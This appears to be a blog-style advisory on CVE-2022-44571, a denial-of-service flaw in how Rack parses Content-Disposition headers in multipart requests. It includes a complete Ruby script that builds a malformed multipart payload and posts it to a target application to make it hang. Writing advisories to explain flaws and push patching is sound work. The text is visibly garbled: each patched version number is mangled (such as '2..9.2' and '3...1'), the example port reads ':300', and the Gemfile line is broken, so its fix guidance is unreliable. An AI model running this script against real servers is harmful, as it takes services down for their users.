CVE-2022-44571: Denial of Service Vulnerability in Content-Disposition Parsing Component of Rack

CVE-2022-44571 is a recently identified denial of service vulnerability that affects the Content-Disposition parsing component of Rack. The vulnerability has been patched in Rack versions 2..9.2, 2.1.4.2, 2.2.4.1, and 3...1. Essentially, an attacker could exploit this vulnerability to prepare a malicious input that would cause the Content-Disposition header parsing in Rack to take an excessive amount of time, ultimately resulting in a denial of service attack. Since this header is primarily used in multipart parsing, applications that parse multipart posts using Rack (including most Rails applications) are potentially impacted by this vulnerability.

Exploit Details

The Content-Disposition header is used to provide the MIME type of the message and specify the filename for file uploads. In Rack, an improper handling of this header while parsing can lead to application hanging, making it unavailable for users.

A well-crafted input with the malformed Content-Disposition header could be sent to the targeted application as part of a multipart request, causing parsing to take longer than intended.

Here's a simple snippet of code that demonstrates the vulnerability

# File: rack-multipart-dos.rb

require 'uri'
require 'net/http'

# Replace the target URL with the URL of your Rails application
TARGET_URL = "http://localhost:300/upload";

boundary = '-' * 800
crlf = "\r\n"
exploit_payload = '--' + boundary

# Create a large number of malformed key-value pairs
800.times do
  exploit_payload << crlf + 'Content-Disposition: form-data; bar="' + 'a' * 800 + '"' + crlf
end

# End the request body with the boundary
exploit_payload << crlf + '--' + boundary + '--'

# Prepare the HTTP request
uri = URI.parse(TARGET_URL)
http_request = Net::HTTP::Post.new(uri)
http_request.content_type = "multipart/form-data; boundary=#{boundary}"
http_request.body = exploit_payload

# Execute the exploit
response = Net::HTTP.start(uri.hostname, uri.port) do |http|
  http.request(http_request)
end

This snippet creates a malicious request payload with a large number of malformed key-value pairs within the Content-Disposition header. The payload is then sent to the targeted Rails application at the specified URL, causing the application to hang while parsing the payload.

How to Protect Your Application?

To protect your Rails application against this vulnerability, make sure to update the Rack gem to one of the patched versions: 2..9.2, 2.1.4.2, 2.2.4.1, or 3...1. This can be done by updating your Gemfile and running bundle update:

# Gemfile
gem 'rack', '2..9.2' # or '2.1.4.2', '2.2.4.1', '3...1'

For additional information about CVE-2022-44571, please visit the following resources

1. Rack Security Announcement: <https://groups.google.com/g/rack-devel/c/rfL7w87_2h/m/ZujkSG_twMDJ>.
2. Rack Repository: <https://github.com/rack/rack>.
3. CVE-2022-44571 Details: <https://nvd.nist.gov/vuln/detail/CVE-2022-44571>.

Conclusion

CVE-2022-44571 is a denial of service vulnerability that affects a significant number of Rails applications that use Rack for multipart parsing. By creating a malicious payload with malformed Content-Disposition headers, an attacker can cause targeted applications to consume an excessive amount of resources, potentially leading to a denial of service. To protect your Rails application from this vulnerability, make sure to update the Rack gem to one of the fixed versions – 2..9.2, 2.1.4.2, 2.2.4.1, or 3...1.

Timeline

Published on: 02/09/2023 20:15:00 UTC
Last modified on: 02/17/2023 18:51:00 UTC